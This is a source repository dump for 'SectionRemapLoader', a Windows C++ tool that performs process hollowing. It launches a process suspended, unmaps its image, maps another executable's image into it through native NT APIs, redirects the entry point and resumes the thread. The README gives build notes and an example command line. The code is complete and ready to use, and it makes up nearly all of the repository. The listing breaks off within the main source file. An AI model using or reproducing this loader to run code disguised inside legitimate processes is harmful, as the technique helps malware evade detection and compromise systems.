├── .gitignore ├── ProcessHollowing.sln ├── README.md └── SectionRemapLoader ├── Helper.cpp ├── Helper.hpp ├── KernelApis.hpp ├── OwnedResource.hpp ├── SectionRemapLoader.vcxproj ├── SectionRemapLoader.vcxproj.filters ├── SectionRemapLoader.vcxproj.user └── _tmain.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | bin/ 3 | obj/ 4 | -------------------------------------------------------------------------------- /ProcessHollowing.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.572 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SectionRemapLoader", "SectionRemapLoader\SectionRemapLoader.vcxproj", "{1A5C022E-09FE-43B9-A474-E800E16F72BB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Debug|x64.ActiveCfg = Debug|x64 17 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Debug|x64.Build.0 = Debug|x64 18 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Debug|x86.Build.0 = Debug|Win32 20 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Release|x64.ActiveCfg = Release|x64 21 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Release|x64.Build.0 = Release|x64 22 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Release|x86.ActiveCfg = Release|Win32 23 | {1A5C022E-09FE-43B9-A474-E800E16F72BB}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8A23134A-0A4B-4B37-846E-657152072C1B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Process Hollowing 2 | 3 | ## 1. SectionRemapLoader 4 | 5 | __SectionRemapLoader__ uses `NtUnmapViewOfSection`, `NtCreateSection` and `NtMapViewOfSection` to perform process hollowing. This way is much more easier, but requires a valid PE image file on disk. 6 | 7 | __MAKE SURE ARCHITECTURE MATCHES.__ i.e. launch 32-bits process with `SectionRemapLoader.exe` built in 32-bits mode OR launch 64-bits process with `SectionRemapLoader.exe` built in 64-bits mode. 8 | 9 | ``` 10 | Usage: 11 | SectionRemapLoader.exe [args...] 12 | ``` 13 | 14 | __Example:__ 15 | 16 | ``` 17 | $ .\SectionRemapLoader.exe C:\Windows\write.exe C:\Windows\Notepad.exe 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /SectionRemapLoader/Helper.cpp: -------------------------------------------------------------------------------- 1 | #include "Helper.hpp" 2 | #include 3 | #include 4 | 5 | namespace exeLoader { 6 | 7 | // 8 | // lpszCmdLine must be a valid command line string. 9 | // 10 | PTSTR GetCommandLineStartingFromNthArgv(_In_ PTSTR lpszCmdLine, _In_ DWORD Index) { 11 | DWORD CurrentIndex = 0; 12 | 13 | bool IsDoubleQuoted = false; 14 | for (DWORD i = 0; lpszCmdLine[i]; ++i) { 15 | if (CurrentIndex == Index) 16 | return &lpszCmdLine[i]; 17 | 18 | switch (lpszCmdLine[i]) { 19 | case TEXT('\t'): 20 | case TEXT(' '): 21 | while (_istspace(lpszCmdLine[i + 1])) 22 | ++i; 23 | if (IsDoubleQuoted == false) 24 | ++CurrentIndex; 25 | break; 26 | case TEXT('"'): 27 | if (i > 0) { 28 | DWORD p = i; 29 | while (lpszCmdLine[p - 1] == TEXT('\\')) 30 | --p; 31 | IsDoubleQuoted = (i - p) % 2 == 0 ? !IsDoubleQuoted : IsDoubleQuoted; 32 | } else { 33 | IsDoubleQuoted = !IsDoubleQuoted; 34 | } 35 | break; 36 | default: 37 | break; 38 | } 39 | } 40 | 41 | return nullptr; 42 | } 43 | 44 | BOOL ValidateExeFile(_In_ PVOID lpMappedImageBase, 45 | _Out_opt_ PIMAGE_DOS_HEADER* lpDosHeader, 46 | _Out_opt_ PIMAGE_NT_HEADERS* lpNtHeaders, 47 | _Out_opt_ PIMAGE_SECTION_HEADER* lpSectionHeader) { 48 | DWORD dwOffset = 0; 49 | PBYTE pbMappedImageBase = reinterpret_cast(lpMappedImageBase); 50 | 51 | PIMAGE_DOS_HEADER DosHeader = reinterpret_cast(lpMappedImageBase); 52 | if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE) 53 | return FALSE; 54 | 55 | PIMAGE_NT_HEADERS NtHeaders = reinterpret_cast(pbMappedImageBase + DosHeader->e_lfanew); 56 | if (NtHeaders->Signature != IMAGE_NT_SIGNATURE || NtHeaders->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) 57 | return FALSE; 58 | 59 | PIMAGE_SECTION_HEADER SectionHeader = reinterpret_cast( 60 | pbMappedImageBase + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) - sizeof(IMAGE_NT_HEADERS::OptionalHeader) + NtHeaders->FileHeader.SizeOfOptionalHeader 61 | ); 62 | 63 | if (lpDosHeader) 64 | *lpDosHeader = DosHeader; 65 | if (lpNtHeaders) 66 | *lpNtHeaders = NtHeaders; 67 | if (lpSectionHeader) 68 | *lpSectionHeader = SectionHeader; 69 | 70 | return TRUE; 71 | } 72 | 73 | BOOL AreExesCompatible(_In_ PIMAGE_NT_HEADERS FirstExe, _In_ PIMAGE_NT_HEADERS SecondExe) { 74 | if (FirstExe->FileHeader.Machine != SecondExe->FileHeader.Machine) 75 | return FALSE; 76 | 77 | return TRUE; 78 | } 79 | 80 | DWORD LaunchHollowProcess(_In_ PTSTR lpszCmdLine, 81 | _Out_opt_ PPROCESS_INFORMATION lpProcessInfo, 82 | _Out_opt_ PCONTEXT lpRegisterContext, 83 | _Out_opt_ PVOID* lpImageBase) { 84 | DWORD dwStatus; 85 | NTSTATUS ntStatus; 86 | PROCESS_INFORMATION ProcessInfo = {}; 87 | STARTUPINFO StartupInfo = { sizeof(STARTUPINFO) }; 88 | 89 | if (CreateProcess(NULL, 90 | lpszCmdLine, 91 | NULL, 92 | NULL, 93 | FALSE, 94 | CREATE_SUSPENDED, 95 | NULL, 96 | NULL, 97 | &StartupInfo, 98 | &ProcessInfo) == FALSE) { 99 | return GetLastError(); 100 | } 101 | 102 | CONTEXT RegisterContext = {}; 103 | RegisterContext.ContextFlags = CONTEXT_INTEGER; 104 | if (GetThreadContext(ProcessInfo.hThread, &RegisterContext) == FALSE) { 105 | dwStatus = GetLastError(); 106 | TerminateProcess(ProcessInfo.hProcess, 0); 107 | CloseHandle(ProcessInfo.hThread); 108 | CloseHandle(ProcessInfo.hProcess); 109 | return dwStatus; 110 | } 111 | 112 | #ifdef _M_IX86 113 | PPEB lpPeb = reinterpret_cast(RegisterContext.Ebx); 114 | #elif defined(_M_X64) 115 | PPEB lpPeb = reinterpret_cast(RegisterContext.Rdx); 116 | #else 117 | #error "Unsupported architecture" 118 | #endif 119 | PVOID ImageBase; 120 | 121 | if (!ReadProcessMemory(ProcessInfo.hProcess, reinterpret_cast(&lpPeb->Ldr) - sizeof(PVOID), &ImageBase, sizeof(PVOID), NULL)) { 122 | dwStatus = GetLastError(); 123 | TerminateProcess(ProcessInfo.hProcess, 0); 124 | CloseHandle(ProcessInfo.hThread); 125 | CloseHandle(ProcessInfo.hProcess); 126 | return dwStatus; 127 | } 128 | 129 | ntStatus = NtUnmapViewOfSection(ProcessInfo.hProcess, ImageBase); 130 | if (!NT_SUCCESS(ntStatus)) { 131 | return RtlNtStatusToDosError(ntStatus); 132 | } 133 | 134 | if (lpProcessInfo) 135 | *lpProcessInfo = ProcessInfo; 136 | if (lpRegisterContext) 137 | *lpRegisterContext = RegisterContext; 138 | if (lpImageBase) 139 | *lpImageBase = ImageBase; 140 | 141 | return ERROR_SUCCESS; 142 | } 143 | 144 | DWORD CreateSectionOfImage(_In_ PTSTR lpszFileName, 145 | _Inout_ OwnedResource& hFile, 146 | _Inout_ OwnedResource& hSection) { 147 | NTSTATUS ntStatus; 148 | OwnedResource _hFile; 149 | OwnedResource _hSection; 150 | 151 | _hFile.TakeOver( 152 | CreateFile(lpszFileName, 153 | GENERIC_READ | GENERIC_EXECUTE, 154 | FILE_SHARE_READ, 155 | NULL, 156 | OPEN_EXISTING, 157 | NULL, 158 | NULL) 159 | ); 160 | if (_hFile.IsValid() == false) { 161 | return GetLastError(); 162 | } 163 | 164 | ntStatus = NtCreateSection(_hSection.GetAddress(), 165 | SECTION_ALL_ACCESS, 166 | NULL, 167 | NULL, 168 | PAGE_EXECUTE_WRITECOPY, 169 | SEC_IMAGE, 170 | _hFile); 171 | if (!NT_SUCCESS(ntStatus)) { 172 | return RtlNtStatusToDosError(ntStatus); 173 | } 174 | 175 | hFile = std::move(_hFile); 176 | hSection = std::move(_hSection); 177 | 178 | return ERROR_SUCCESS; 179 | } 180 | 181 | DWORD MapViewOfImage(HANDLE hProcess, HANDLE hSection, PVOID* lppBaseAddress, PSIZE_T lpViewSize) { 182 | NTSTATUS ntStatus; 183 | SIZE_T ViewSize = 0; 184 | 185 | ntStatus = NtMapViewOfSection(hSection, 186 | hProcess, 187 | lppBaseAddress, 188 | NULL, 189 | NULL, 190 | NULL, 191 | &ViewSize, 192 | ViewUnmap, 193 | NULL, 194 | PAGE_EXECUTE_WRITECOPY); 195 | if (!NT_SUCCESS(ntStatus)) { 196 | if (lpViewSize) 197 | *lpViewSize = 0; 198 | return RtlNtStatusToDosError(ntStatus); 199 | } else { 200 | if (lpViewSize) 201 | *lpViewSize = ViewSize; 202 | return ERROR_SUCCESS; 203 | } 204 | } 205 | 206 | DWORD UnmapViewOfImage(_In_ PVOID lpImageBase) { 207 | NTSTATUS ntStatus = NtUnmapViewOfSection(GetCurrentProcess(), lpImageBase); 208 | if (!NT_SUCCESS(ntStatus)) { 209 | return RtlNtStatusToDosError(ntStatus); 210 | } else { 211 | return ERROR_SUCCESS; 212 | } 213 | } 214 | 215 | DWORD UpdateEntryPoint(_In_ HANDLE hThread, 216 | _In_ const CONTEXT* lpContext, 217 | _In_ PVOID NewEntryPoint) { 218 | CONTEXT NewConext = *lpContext; 219 | #ifdef _M_IX86 220 | NewConext.Eax = reinterpret_cast(NewEntryPoint); 221 | #elif defined(_M_X64) 222 | NewConext.Rcx = reinterpret_cast(NewEntryPoint); 223 | #else 224 | #error "Unsupported architecture" 225 | #endif 226 | if (!SetThreadContext(hThread, &NewConext)) { 227 | return GetLastError(); 228 | } else { 229 | return ERROR_SUCCESS; 230 | } 231 | } 232 | 233 | DWORD ResumeProcess(_In_ HANDLE hProcess) { 234 | NTSTATUS ntStatus = NtResumeProcess(hProcess); 235 | if (!NT_SUCCESS(ntStatus)) { 236 | return RtlNtStatusToDosError(ntStatus); 237 | } else { 238 | return ERROR_SUCCESS; 239 | } 240 | } 241 | } 242 | 243 | -------------------------------------------------------------------------------- /SectionRemapLoader/Helper.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "KernelApis.hpp" 4 | #include "OwnedResource.hpp" 5 | 6 | struct FileHandleTraits { 7 | using HandleType = HANDLE; 8 | static inline const HandleType InvalidValue = INVALID_HANDLE_VALUE; 9 | static constexpr auto& Releasor = CloseHandle; 10 | }; 11 | 12 | struct KernelHandleTraits { 13 | using HandleType = HANDLE; 14 | static inline const HandleType InvalidValue = NULL; 15 | static constexpr auto& Releasor = NtClose; 16 | }; 17 | 18 | namespace exeLoader { 19 | 20 | PTSTR GetCommandLineStartingFromNthArgv( 21 | _In_ PTSTR lpszCmdLine, 22 | _In_ DWORD Index 23 | ); 24 | 25 | BOOL ValidateExeFile( 26 | _In_ PVOID lpFileBase, 27 | _Out_opt_ PIMAGE_DOS_HEADER* lpDosHeader, 28 | _Out_opt_ PIMAGE_NT_HEADERS* lpNtHeaders, 29 | _Out_opt_ PIMAGE_SECTION_HEADER* lpSectionHeader 30 | ); 31 | 32 | BOOL AreExesCompatible( 33 | _In_ PIMAGE_NT_HEADERS FirstExe, 34 | _In_ PIMAGE_NT_HEADERS SecondExe 35 | ); 36 | 37 | DWORD LaunchHollowProcess( 38 | _In_ PTSTR lpszCmdLine, 39 | _Out_opt_ PPROCESS_INFORMATION lpProcessInfo, 40 | _Out_opt_ PCONTEXT lpRegisterContext, 41 | _Out_opt_ PVOID* lpImageBase 42 | ); 43 | 44 | DWORD CreateSectionOfImage( 45 | _In_ PTSTR lpszFileName, 46 | _Inout_ OwnedResource& hFile, 47 | _Inout_ OwnedResource& hSection 48 | ); 49 | 50 | DWORD MapViewOfImage( 51 | _In_ HANDLE hProcess, 52 | _In_ HANDLE hSection, 53 | _In_ PVOID* lppBaseAddress, 54 | _Out_opt_ PSIZE_T lpViewSize 55 | ); 56 | 57 | DWORD UnmapViewOfImage( 58 | _In_ PVOID lpImageBase 59 | ); 60 | 61 | DWORD UpdateEntryPoint( 62 | _In_ HANDLE hThread, 63 | _In_ const CONTEXT* lpContext, 64 | _In_ PVOID NewEntryPoint 65 | ); 66 | 67 | DWORD ResumeProcess( 68 | _In_ HANDLE hProcess 69 | ); 70 | } 71 | 72 | -------------------------------------------------------------------------------- /SectionRemapLoader/KernelApis.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #pragma comment(lib, "ntdll") 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | 11 | __kernel_entry NTSTATUS 12 | NTAPI 13 | NtCreateSection( 14 | _Out_ PHANDLE SectionHandle, 15 | _In_ ACCESS_MASK DesiredAccess, 16 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 17 | _In_opt_ PLARGE_INTEGER MaximumSize, 18 | _In_ ULONG SectionPageProtection, 19 | _In_ ULONG AllocationAttributes, 20 | _In_opt_ HANDLE FileHandle 21 | ); 22 | 23 | typedef enum _SECTION_INHERIT { 24 | ViewShare = 1, 25 | ViewUnmap = 2 26 | } SECTION_INHERIT; 27 | 28 | __kernel_entry NTSTATUS 29 | NTAPI 30 | NtMapViewOfSection( 31 | _In_ HANDLE SectionHandle, 32 | _In_ HANDLE ProcessHandle, 33 | _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, 34 | _In_ ULONG_PTR ZeroBits, 35 | _In_ SIZE_T CommitSize, 36 | _Inout_opt_ PLARGE_INTEGER SectionOffset, 37 | _Inout_ PSIZE_T ViewSize, 38 | _In_ SECTION_INHERIT InheritDisposition, 39 | _In_ ULONG AllocationType, 40 | _In_ ULONG Win32Protect 41 | ); 42 | 43 | __kernel_entry NTSTATUS 44 | NTAPI 45 | NtUnmapViewOfSection( 46 | _In_ HANDLE ProcessHandle, 47 | _In_ PVOID BaseAddress 48 | ); 49 | 50 | __kernel_entry NTSTATUS 51 | NTAPI 52 | NtResumeProcess( 53 | _In_ HANDLE ProcessHandle 54 | ); 55 | 56 | #ifdef __cplusplus 57 | } 58 | #endif 59 | 60 | -------------------------------------------------------------------------------- /SectionRemapLoader/OwnedResource.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | template 5 | class OwnedResource { 6 | private: 7 | using HandleType = typename __ResourceTraits::HandleType; 8 | 9 | HandleType _Handle; 10 | public: 11 | 12 | OwnedResource() noexcept : 13 | _Handle(__ResourceTraits::InvalidValue) {} 14 | 15 | explicit OwnedResource(HandleType Handle) noexcept : 16 | _Handle(Handle) {} 17 | 18 | OwnedResource(const OwnedResource<__ResourceTraits>& Other) = delete; 19 | 20 | OwnedResource(OwnedResource<__ResourceTraits>&& Other) noexcept : 21 | _Handle(Other._Handle) 22 | { 23 | Other._Handle = __ResourceTraits::InvalidValue; 24 | } 25 | 26 | OwnedResource<__ResourceTraits>& operator=(const OwnedResource<__ResourceTraits>& Other) = delete; 27 | 28 | OwnedResource<__ResourceTraits>& operator=(OwnedResource<__ResourceTraits>&& Other) noexcept { 29 | _Handle = Other._Handle; 30 | Other._Handle = __ResourceTraits::InvalidValue; 31 | return *this; 32 | } 33 | 34 | operator HandleType() const noexcept { 35 | return _Handle; 36 | } 37 | 38 | template::value>::type> 39 | HandleType operator->() noexcept { 40 | return _Handle; 41 | } 42 | 43 | template::value>::type> 44 | const HandleType operator->() const noexcept { 45 | return _Handle; 46 | } 47 | 48 | template::value>::type> 49 | __AsType As() const noexcept { 50 | return reinterpret_cast<__AsType>(_Handle); 51 | } 52 | 53 | bool IsValid() const noexcept { 54 | return _Handle != __ResourceTraits::InvalidValue; 55 | } 56 | 57 | HandleType Get() const noexcept { 58 | return _Handle; 59 | } 60 | 61 | template 62 | __ReturnType GetAddress() noexcept { 63 | return &_Handle; 64 | } 65 | 66 | void TakeOver(HandleType Handle) { 67 | if (_Handle == __ResourceTraits::InvalidValue) { 68 | _Handle = Handle; 69 | } else { 70 | __ResourceTraits::Releasor(_Handle); 71 | _Handle = Handle; 72 | } 73 | } 74 | 75 | void Abandon() noexcept { 76 | _Handle = __ResourceTraits::InvalidValue; 77 | } 78 | 79 | void Release() { 80 | if (_Handle != __ResourceTraits::InvalidValue) { 81 | __ResourceTraits::Releasor(_Handle); 82 | _Handle = __ResourceTraits::InvalidValue; 83 | } 84 | } 85 | 86 | ~OwnedResource() { 87 | if (_Handle != __ResourceTraits::InvalidValue) { 88 | __ResourceTraits::Releasor(_Handle); 89 | _Handle = __ResourceTraits::InvalidValue; 90 | } 91 | } 92 | }; 93 | 94 | template 95 | struct CppObjectTraits { 96 | using HandleType = __ClassType*; 97 | static inline const HandleType InvalidValue = nullptr; 98 | static void Releasor(HandleType pObject) { 99 | delete pObject; 100 | } 101 | }; 102 | 103 | template 104 | struct CppDynamicArrayTraits { 105 | using HandleType = __ClassType*; 106 | static inline const HandleType InvalidValue = nullptr; 107 | static void Releasor(HandleType pObject) { 108 | delete[] pObject; 109 | } 110 | }; 111 | -------------------------------------------------------------------------------- /SectionRemapLoader/SectionRemapLoader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {1A5C022E-09FE-43B9-A474-E800E16F72BB} 24 | Win32Proj 25 | SectionRemapLoader 26 | 10.0.17763.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | $(SolutionDir)bin\$(Platform)-$(Configuration)\ 76 | $(SolutionDir)obj\$(ProjectName)-$(Platform)-$(Configuration)\ 77 | $(ProjectName) 78 | 79 | 80 | true 81 | $(SolutionDir)bin\$(Platform)-$(Configuration)\ 82 | $(SolutionDir)obj\$(ProjectName)-$(Platform)-$(Configuration)\ 83 | $(ProjectName) 84 | 85 | 86 | false 87 | $(SolutionDir)bin\$(Platform)-$(Configuration)\ 88 | $(SolutionDir)obj\$(ProjectName)-$(Platform)-$(Configuration)\ 89 | $(ProjectName) 90 | 91 | 92 | false 93 | $(SolutionDir)bin\$(Platform)-$(Configuration)\ 94 | $(SolutionDir)obj\$(ProjectName)-$(Platform)-$(Configuration)\ 95 | $(ProjectName) 96 | 97 | 98 | 99 | Level3 100 | Disabled 101 | true 102 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 103 | true 104 | stdcpp17 105 | 106 | 107 | true 108 | Console 109 | 110 | 111 | 112 | 113 | Level3 114 | Disabled 115 | true 116 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 117 | true 118 | stdcpp17 119 | 120 | 121 | true 122 | Console 123 | 124 | 125 | 126 | 127 | Level3 128 | MaxSpeed 129 | true 130 | true 131 | true 132 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | true 134 | stdcpp17 135 | 136 | 137 | true 138 | true 139 | true 140 | Console 141 | 142 | 143 | 144 | 145 | Level3 146 | MaxSpeed 147 | true 148 | true 149 | true 150 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 151 | true 152 | stdcpp17 153 | 154 | 155 | true 156 | true 157 | true 158 | Console 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | -------------------------------------------------------------------------------- /SectionRemapLoader/SectionRemapLoader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 26 | 27 | 头文件 28 | 29 | 30 | 头文件 31 | 32 | 33 | 头文件 34 | 35 | 36 | -------------------------------------------------------------------------------- /SectionRemapLoader/SectionRemapLoader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /SectionRemapLoader/_tmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "Helper.hpp" 5 | 6 | void Help() { 7 | _putts(TEXT("Usage:")); 8 | _putts(TEXT(" SectionRemapLoader.exe [args...]")); 9 | _putts(TEXT("")); 10 | } 11 | 12 | int _tmain(int argc, PTSTR argv[]) { 13 | if (argc >= 3) { 14 | DWORD dwStatus; 15 | 16 | OwnedResource hSrcExeFile; 17 | OwnedResource hSrcExeSection; 18 | PVOID lpSrcExe = NULL; 19 | PIMAGE_DOS_HEADER lpSrcExeDosHeader; 20 | PIMAGE_NT_HEADERS lpSrcExeNtHeaders; 21 | ULONG_PTR SrcExeEntryPointRva; 22 | 23 | OwnedResource hDstExeFile; 24 | OwnedResource hDstExeSection; 25 | PVOID lpDstExe = NULL; 26 | PIMAGE_DOS_HEADER lpDstExeDosHeader; 27 | PIMAGE_NT_HEADERS lpDstExeNtHeaders; 28 | 29 | PROCESS_INFORMATION ProcessInfo; 30 | CONTEXT RegisterContext; 31 | PVOID ProcessImageBase = NULL; 32 | 33 | dwStatus = exeLoader::CreateSectionOfImage(argv[1], hSrcExeFile, hSrcExeSection); 34 | if (dwStatus != ERROR_SUCCESS) { 35 | _tprintf_s(TEXT("[-] main: Failed to create section for %s fails. CODE: 0x%.8X\n"), argv[1], dwStatus); 36 | return dwStatus; 37 | } else { 38 | _tprintf_s(TEXT("[+] main: Create section for %s successfully.\n"), argv[1]); 39 | } 40 | 41 | dwStatus = exeLoader::CreateSectionOfImage(argv[2], hDstExeFile, hDstExeSection); 42 | if (dwStatus != ERROR_SUCCESS) { 43 | _tprintf_s(TEXT("[-] main: Failed to create section for %s fails. CODE: 0x%.8X\n"), argv[2], dwStatus); 44 | return dwStatus; 45 | } else { 46 | _tprintf_s(TEXT("[+] main: Create section for %s successfully.\n"), argv[2]); 47 | } 48 | 49 | dwStatus = exeLoader::MapViewOfImage(GetCurrentProcess(), hSrcExeSection, &lpSrcExe, NULL); 50 | if (dwStatus != ERROR_SUCCESS) { 51 | _tprintf_s(TEXT("[-] main: Failed to map view of %s. CODE: 0x%.8X\n"), argv[1], dwStatus); 52 | return dwStatus; 53 | } else { 54 | _tprintf_s(TEXT("[+] main: Map view of %s successfully. lpSrcExe = %p\n"), argv[1], lpSrcExe); 55 | } 56 | 57 | dwStatus = exeLoader::MapViewOfImage(GetCurrentProcess(), hDstExeSection, &lpDstExe, NULL); 58 | if (dwStatus != ERROR_SUCCESS) { 59 | _tprintf_s(TEXT("[-] main: Failed to map view of %s. CODE: 0x%.8X\n"), argv[2], dwStatus); 60 | return dwStatus; 61 | } else { 62 | _tprintf_s(TEXT("[+] main: Map view of %s successfully. lpDstExe = %p\n"), argv[2], lpDstExe); 63 | } 64 | 65 | if (exeLoader::ValidateExeFile(lpSrcExe, &lpSrcExeDosHeader, &lpSrcExeNtHeaders, NULL) == FALSE) { 66 | _tprintf_s(TEXT("[-] main: ValidateExeFile for %s failed.\n"), argv[1]); 67 | return -1; 68 | } else { 69 | _tprintf_s(TEXT("[+] main: ValidateExeFile for %s succeeded.\n"), argv[1]); 70 | } 71 | 72 | if (exeLoader::ValidateExeFile(lpDstExe, &lpDstExeDosHeader, &lpDstExeNtHeaders, NULL) == FALSE) { 73 | _tprintf_s(TEXT("[-] main: ValidateExeFile for %s failed.\n"), argv[2]); 74 | return -1; 75 | } else { 76 | _tprintf_s(TEXT("[+] main: ValidateExeFile for %s succeeded.\n"), argv[2]); 77 | } 78 | 79 | if (exeLoader::AreExesCompatible(lpSrcExeNtHeaders, lpDstExeNtHeaders) == FALSE) { 80 | _tprintf_s(TEXT("[-] main: Exe compatible check failed.\n")); 81 | return -1; 82 | } else { 83 | _tprintf_s(TEXT("[+] main: Exe compatible check passed.\n")); 84 | } 85 | 86 | SrcExeEntryPointRva = lpSrcExeNtHeaders->OptionalHeader.AddressOfEntryPoint; 87 | 88 | dwStatus = exeLoader::UnmapViewOfImage(lpSrcExe); 89 | if (dwStatus != ERROR_SUCCESS) { 90 | _tprintf_s(TEXT("[-] main: Failed to unmap view of %s. CODE: 0x%.8X\n"), argv[1], dwStatus); 91 | return dwStatus; 92 | } else { 93 | _tprintf_s(TEXT("[+] main: Unmap view of %s successfully.\n"), argv[1]); 94 | } 95 | 96 | dwStatus = exeLoader::UnmapViewOfImage(lpDstExe); 97 | if (dwStatus != ERROR_SUCCESS) { 98 | _tprintf_s(TEXT("[-] main: Failed to unmap view of %s. CODE: 0x%.8X\n"), argv[2], dwStatus); 99 | return dwStatus; 100 | } else { 101 | _tprintf_s(TEXT("[+] main: Unmap view of %s successfully.\n"), argv[2]); 102 | } 103 | 104 | dwStatus = exeLoader::LaunchHollowProcess( 105 | exeLoader::GetCommandLineStartingFromNthArgv(GetCommandLine(), 2), 106 | &ProcessInfo, 107 | &RegisterContext, 108 | &ProcessImageBase 109 | ); 110 | if (dwStatus != ERROR_SUCCESS) { 111 | _tprintf_s(TEXT("[-] main: Failed to launch hollow process for %s. CODE: 0x%.8X\n"), argv[2], dwStatus); 112 | return dwStatus; 113 | } else { 114 | _tprintf_s(TEXT("[+] main: [PID = %d][TID = %d] Launch hollow process for %s successfully.\n"), 115 | ProcessInfo.dwProcessId, 116 | ProcessInfo.dwThreadId, 117 | argv[2]); 118 | _tprintf_s(TEXT("[*] main: [PID = %d][TID = %d] ProcessImageBase = %p\n"), 119 | ProcessInfo.dwProcessId, 120 | ProcessInfo.dwThreadId, 121 | ProcessImageBase); 122 | } 123 | 124 | dwStatus = exeLoader::MapViewOfImage(ProcessInfo.hProcess, hSrcExeSection, &ProcessImageBase, NULL); 125 | if (dwStatus != ERROR_SUCCESS) { 126 | _tprintf_s(TEXT("[-] main: [PID = %d][TID = %d] Failed to map view of %s. CODE: 0x%.8X\n"), 127 | ProcessInfo.dwProcessId, 128 | ProcessInfo.dwThreadId, 129 | argv[1], 130 | dwStatus); 131 | TerminateProcess(ProcessInfo.hProcess, 0); 132 | CloseHandle(ProcessInfo.hThread); 133 | CloseHandle(ProcessInfo.hProcess); 134 | return dwStatus; 135 | } else { 136 | _tprintf_s(TEXT("[+] main: [PID = %d][TID = %d] Map view of %s successfully. ImageBase = %p\n"), 137 | ProcessInfo.dwProcessId, 138 | ProcessInfo.dwThreadId, 139 | argv[1], 140 | ProcessImageBase); 141 | } 142 | 143 | dwStatus = exeLoader::UpdateEntryPoint( 144 | ProcessInfo.hThread, 145 | &RegisterContext, 146 | reinterpret_cast(ProcessImageBase) + SrcExeEntryPointRva 147 | ); 148 | if (dwStatus != ERROR_SUCCESS) { 149 | _tprintf_s(TEXT("[-] main: [PID = %d][TID = %d] Failed to update entry point. CODE: 0x%.8X\n"), 150 | ProcessInfo.dwProcessId, 151 | ProcessInfo.dwThreadId, 152 | dwStatus); 153 | TerminateProcess(ProcessInfo.hProcess, 0); 154 | CloseHandle(ProcessInfo.hThread); 155 | CloseHandle(ProcessInfo.hProcess); 156 | return dwStatus; 157 | } else { 158 | _tprintf_s(TEXT("[+] main: [PID = %d][TID = %d] Update entry point successfully.\n"), 159 | ProcessInfo.dwProcessId, 160 | ProcessInfo.dwThreadId); 161 | } 162 | 163 | dwStatus = exeLoader::ResumeProcess(ProcessInfo.hProcess); 164 | if (dwStatus != ERROR_SUCCESS) { 165 | _tprintf_s(TEXT("[-] main: [PID = %d][TID = %d] Failed to resume process. CODE: 0x%.8X\n"), 166 | 